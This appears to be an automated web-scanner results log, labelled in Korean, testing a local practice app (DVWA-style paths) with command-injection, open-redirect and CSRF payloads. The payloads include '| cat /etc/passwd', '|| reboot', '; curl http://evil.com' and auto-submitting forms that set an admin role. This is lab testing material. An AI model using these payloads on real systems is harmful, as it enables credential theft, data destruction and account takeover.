command_injection	http://localhost:8000/vulnerabilities/xss_s	| id	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	| cat /etc/passwd	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	&& cat /var/log/auth.log	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	; uname -a	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	; ps aux	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	; netstat -an	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	; sleep 5	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	ping -c 1 127.0.0.1	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	$(whoami)	취약점 없음	200	0.21s
command_injection	http://localhost:8000/vulnerabilities/xss_s	& nslookup example.com	취약점 없음	200	0.21s
command_injection	http://localhost:8000/vulnerabilities/xss_s	; curl http://evil.com	취약점 없음	200	0.21s
command_injection	http://localhost:8000/vulnerabilities/xss_s	|| reboot	취약점 없음	200	0.21s
open_redirect	http://localhost:8000/vulnerabilities/xss_s	//evil.com	취약점 없음	200	0.21s
open_redirect	http://localhost:8000/vulnerabilities/xss_s	https://evil.com	취약점 없음	200	0.21s

open_redirect	http://localhost:8000/vulnerabilities/xss_s	http://evil.com	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.21s

csrf	http://localhost:8000/vulnerabilities/xss_s	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.21s
csrf	http://localhost:8000/vulnerabilities/xss_s	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.21s
command_injection	http://localhost:8000/vulnerabilities/upload	; ls	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	&& whoami	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	| id	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	| cat /etc/passwd	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	&& cat /var/log/auth.log	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	; uname -a	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	; ps aux	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	; netstat -an	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	; sleep 5	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	ping -c 1 127.0.0.1	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	$(whoami)	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	& nslookup example.com	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	; curl http://evil.com	취약점 없음	200	0.22s
command_injection	http://localhost:8000/vulnerabilities/upload	|| reboot	취약점 없음	200	0.22s
open_redirect	http://localhost:8000/vulnerabilities/upload	//evil.com	취약점 없음	200	0.22s
open_redirect	http://localhost:8000/vulnerabilities/upload	https://evil.com	취약점 없음	200	0.22s

open_redirect	http://localhost:8000/vulnerabilities/upload	http://evil.com	취약점 없음	200	0.22s
csrf	http://localhost:8000/vulnerabilities/upload	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.23s
csrf	http://localhost:8000/vulnerabilities/upload	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.23s
csrf	http://localhost:8000/vulnerabilities/upload	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.23s
csrf	http://localhost:8000/vulnerabilities/upload	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.23s
csrf	http://localhost:8000/vulnerabilities/upload	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.23s
csrf	http://localhost:8000/vulnerabilities/upload	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.23s

csrf	http://localhost:8000/vulnerabilities/upload	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.23s
csrf	http://localhost:8000/vulnerabilities/upload	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.23s
command_injection	http://localhost:8000/setup.php	&& whoami	취약점 없음	200	0.24s
command_injection	http://localhost:8000/setup.php	| id	취약점 없음	200	0.24s
command_injection	http://localhost:8000/setup.php	&& cat /var/log/auth.log	취약점 없음	200	0.24s
command_injection	http://localhost:8000/setup.php	| cat /etc/passwd	취약점 없음	200	0.24s
command_injection	http://localhost:8000/setup.php	; netstat -an	취약점 없음	200	0.25s
command_injection	http://localhost:8000/setup.php	; ps aux	취약점 없음	200	0.25s
command_injection	http://localhost:8000/setup.php	; sleep 5	취약점 없음	200	0.25s
command_injection	http://localhost:8000/setup.php	; ls	취약점 없음	200	0.25s
command_injection	http://localhost:8000/setup.php	$(whoami)	취약점 없음	200	0.26s
command_injection	http://localhost:8000/setup.php	; uname -a	취약점 없음	200	0.26s
command_injection	http://localhost:8000/setup.php	; curl http://evil.com	취약점 없음	200	0.26s
command_injection	http://localhost:8000/setup.php	ping -c 1 127.0.0.1	취약점 없음	200	0.26s
open_redirect	http://localhost:8000/setup.php	//evil.com	취약점 없음	200	0.26s
open_redirect	http://localhost:8000/setup.php	https://evil.com	취약점 없음	200	0.26s
command_injection	http://localhost:8000/setup.php	|| reboot	취약점 없음	200	0.26s

csrf	http://localhost:8000/setup.php	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.27s
open_redirect	http://localhost:8000/setup.php	http://evil.com	취약점 없음	200	0.27s
csrf	http://localhost:8000/setup.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.27s
csrf	http://localhost:8000/setup.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.27s
csrf	http://localhost:8000/setup.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.27s
csrf	http://localhost:8000/setup.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.28s
csrf	http://localhost:8000/setup.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.28s
command_injection	http://localhost:8000/vulnerabilities/sqli	; ls	취약점 없음	200	0.28s

command_injection	http://localhost:8000/vulnerabilities/sqli	&& whoami	취약점 없음	200	0.28s
command_injection	http://localhost:8000/vulnerabilities/sqli	| id	취약점 없음	200	0.28s
command_injection	http://localhost:8000/vulnerabilities/sqli	| cat /etc/passwd	취약점 없음	200	0.28s
command_injection	http://localhost:8000/setup.php	& nslookup example.com	취약점 없음	200	0.30s
csrf	http://localhost:8000/setup.php	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	CSRF	200	0.30s
csrf	http://localhost:8000/setup.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	CSRF	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	&& cat /var/log/auth.log	취약점 없음	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	; uname -a	취약점 없음	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	; ps aux	취약점 없음	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	; netstat -an	취약점 없음	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	; sleep 5	취약점 없음	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	ping -c 1 127.0.0.1	취약점 없음	200	0.31s
command_injection	http://localhost:8000/vulnerabilities/sqli	$(whoami)	취약점 없음	200	0.32s
command_injection	http://localhost:8000/vulnerabilities/sqli	& nslookup example.com	취약점 없음	200	0.32s
command_injection	http://localhost:8000/vulnerabilities/sqli	; curl http://evil.com	취약점 없음	200	0.32s
command_injection	http://localhost:8000/vulnerabilities/sqli	|| reboot	취약점 없음	200	0.32s
open_redirect	http://localhost:8000/vulnerabilities/sqli	//evil.com	취약점 없음	200	0.32s
open_redirect	http://localhost:8000/vulnerabilities/sqli	https://evil.com	취약점 없음	200	0.32s
open_redirect	http://localhost:8000/vulnerabilities/sqli	http://evil.com	취약점 없음	200	0.32s
csrf	http://localhost:8000/vulnerabilities/sqli	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.32s

csrf	http://localhost:8000/vulnerabilities/sqli	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.32s
csrf	http://localhost:8000/vulnerabilities/sqli	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.32s
csrf	http://localhost:8000/vulnerabilities/sqli	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.32s
csrf	http://localhost:8000/vulnerabilities/sqli	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.32s
csrf	http://localhost:8000/vulnerabilities/sqli	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.32s
csrf	http://localhost:8000/vulnerabilities/sqli	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.32s

csrf	http://localhost:8000/vulnerabilities/sqli	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.32s
command_injection	http://localhost:8000/vulnerabilities/xss_r	; ls	취약점 없음	200	0.32s
command_injection	http://localhost:8000/vulnerabilities/xss_r	&& whoami	취약점 없음	200	0.32s
command_injection	http://localhost:8000/vulnerabilities/xss_r	| id	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	| cat /etc/passwd	Command Injection	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	&& cat /var/log/auth.log	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	; ps aux	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	; netstat -an	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	; uname -a	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	; sleep 5	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	ping -c 1 127.0.0.1	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	$(whoami)	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	& nslookup example.com	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	; curl http://evil.com	취약점 없음	200	0.33s
open_redirect	http://localhost:8000/vulnerabilities/xss_r	//evil.com	취약점 없음	200	0.33s
command_injection	http://localhost:8000/vulnerabilities/xss_r	|| reboot	취약점 없음	200	0.33s
open_redirect	http://localhost:8000/vulnerabilities/xss_r	https://evil.com	취약점 없음	200	0.33s
open_redirect	http://localhost:8000/vulnerabilities/xss_r	http://evil.com	취약점 없음	200	0.33s
csrf	http://localhost:8000/vulnerabilities/xss_r	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.33s
csrf	http://localhost:8000/vulnerabilities/xss_r	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.34s

csrf	http://localhost:8000/vulnerabilities/xss_r	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.34s
csrf	http://localhost:8000/vulnerabilities/xss_r	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.34s
csrf	http://localhost:8000/vulnerabilities/xss_r	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.34s
csrf	http://localhost:8000/vulnerabilities/xss_r	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.34s
csrf	http://localhost:8000/vulnerabilities/xss_r	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.34s

csrf	http://localhost:8000/vulnerabilities/xss_r	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	; ls	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	&& whoami	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	| id	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	| cat /etc/passwd	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	&& cat /var/log/auth.log	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	; uname -a	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	; ps aux	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	; netstat -an	취약점 없음	200	0.34s
command_injection	http://localhost:8000/vulnerabilities/weak_id	; sleep 5	취약점 없음	200	0.35s
command_injection	http://localhost:8000/vulnerabilities/weak_id	ping -c 1 127.0.0.1	취약점 없음	200	0.35s
command_injection	http://localhost:8000/vulnerabilities/weak_id	$(whoami)	취약점 없음	200	0.35s
command_injection	http://localhost:8000/vulnerabilities/weak_id	& nslookup example.com	취약점 없음	200	0.35s
command_injection	http://localhost:8000/vulnerabilities/weak_id	; curl http://evil.com	취약점 없음	200	0.35s
command_injection	http://localhost:8000/vulnerabilities/weak_id	|| reboot	취약점 없음	200	0.35s
open_redirect	http://localhost:8000/vulnerabilities/weak_id	//evil.com	취약점 없음	200	0.35s
open_redirect	http://localhost:8000/vulnerabilities/weak_id	https://evil.com	취약점 없음	200	0.35s
open_redirect	http://localhost:8000/vulnerabilities/weak_id	http://evil.com	취약점 없음	200	0.35s
csrf	http://localhost:8000/vulnerabilities/weak_id	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.35s
csrf	http://localhost:8000/vulnerabilities/weak_id	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.35s

csrf	http://localhost:8000/vulnerabilities/weak_id	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.35s
csrf	http://localhost:8000/vulnerabilities/weak_id	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.35s
csrf	http://localhost:8000/vulnerabilities/weak_id	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.35s
csrf	http://localhost:8000/vulnerabilities/weak_id	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.35s
csrf	http://localhost:8000/vulnerabilities/weak_id	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.35s

csrf	http://localhost:8000/vulnerabilities/weak_id	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.35s
command_injection	http://localhost:8000/vulnerabilities/xss_d	; ls	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	&& whoami	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	| id	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	| cat /etc/passwd	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	&& cat /var/log/auth.log	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	; uname -a	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	; ps aux	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	; netstat -an	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	; sleep 5	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	ping -c 1 127.0.0.1	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	$(whoami)	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	& nslookup example.com	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	; curl http://evil.com	취약점 없음	200	0.36s
command_injection	http://localhost:8000/vulnerabilities/xss_d	|| reboot	취약점 없음	200	0.36s
open_redirect	http://localhost:8000/vulnerabilities/xss_d	//evil.com	취약점 없음	200	0.36s
open_redirect	http://localhost:8000/vulnerabilities/xss_d	https://evil.com	취약점 없음	200	0.36s
open_redirect	http://localhost:8000/vulnerabilities/xss_d	http://evil.com	취약점 없음	200	0.37s
csrf	http://localhost:8000/vulnerabilities/xss_d	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.37s
csrf	http://localhost:8000/vulnerabilities/xss_d	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.37s

csrf	http://localhost:8000/vulnerabilities/xss_d	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.37s
csrf	http://localhost:8000/vulnerabilities/xss_d	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.37s
csrf	http://localhost:8000/vulnerabilities/xss_d	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.37s
csrf	http://localhost:8000/vulnerabilities/xss_d	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	; ls	취약점 없음	200	0.37s
csrf	http://localhost:8000/vulnerabilities/xss_d	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.37s

csrf	http://localhost:8000/vulnerabilities/xss_d	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	&& whoami	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	| id	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	| cat /etc/passwd	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	&& cat /var/log/auth.log	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	; uname -a	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	; ps aux	취약점 없음	200	0.37s
command_injection	http://localhost:8000/vulnerabilities/javascript	; netstat -an	취약점 없음	200	0.38s
command_injection	http://localhost:8000/vulnerabilities/javascript	; sleep 5	취약점 없음	200	0.38s
command_injection	http://localhost:8000/vulnerabilities/javascript	ping -c 1 127.0.0.1	취약점 없음	200	0.38s
command_injection	http://localhost:8000/vulnerabilities/javascript	$(whoami)	취약점 없음	200	0.38s
command_injection	http://localhost:8000/vulnerabilities/javascript	& nslookup example.com	취약점 없음	200	0.38s
command_injection	http://localhost:8000/vulnerabilities/javascript	; curl http://evil.com	취약점 없음	200	0.38s
command_injection	http://localhost:8000/vulnerabilities/javascript	|| reboot	취약점 없음	200	0.38s
open_redirect	http://localhost:8000/vulnerabilities/javascript	//evil.com	취약점 없음	200	0.38s
open_redirect	http://localhost:8000/vulnerabilities/javascript	https://evil.com	취약점 없음	200	0.38s
open_redirect	http://localhost:8000/vulnerabilities/javascript	http://evil.com	취약점 없음	200	0.38s
csrf	http://localhost:8000/vulnerabilities/javascript	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.38s
csrf	http://localhost:8000/vulnerabilities/javascript	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.38s

csrf	http://localhost:8000/vulnerabilities/javascript	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.38s
csrf	http://localhost:8000/vulnerabilities/javascript	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.38s
csrf	http://localhost:8000/vulnerabilities/javascript	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.38s
csrf	http://localhost:8000/vulnerabilities/javascript	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.39s
csrf	http://localhost:8000/vulnerabilities/javascript	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.39s

csrf	http://localhost:8000/vulnerabilities/javascript	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	; ls	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	&& whoami	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	| cat /etc/passwd	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	| id	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	&& cat /var/log/auth.log	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	; ps aux	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	; uname -a	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	; netstat -an	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	; sleep 5	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	ping -c 1 127.0.0.1	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	$(whoami)	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	& nslookup example.com	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	; curl http://evil.com	취약점 없음	200	0.39s
command_injection	http://localhost:8000/login.php	|| reboot	취약점 없음	200	0.39s
open_redirect	http://localhost:8000/login.php	//evil.com	취약점 없음	200	0.39s
open_redirect	http://localhost:8000/login.php	https://evil.com	취약점 없음	200	0.40s
open_redirect	http://localhost:8000/login.php	http://evil.com	취약점 없음	200	0.40s

csrf	http://localhost:8000/login.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.40s
csrf	http://localhost:8000/login.php	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.40s
csrf	http://localhost:8000/login.php	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.40s
csrf	http://localhost:8000/login.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	; ls	취약점 없음	200	0.40s
csrf	http://localhost:8000/login.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.40s
csrf	http://localhost:8000/login.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.40s
csrf	http://localhost:8000/login.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.40s

csrf	http://localhost:8000/login.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	| cat /etc/passwd	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	| id	취약점 없음	200	0.40s
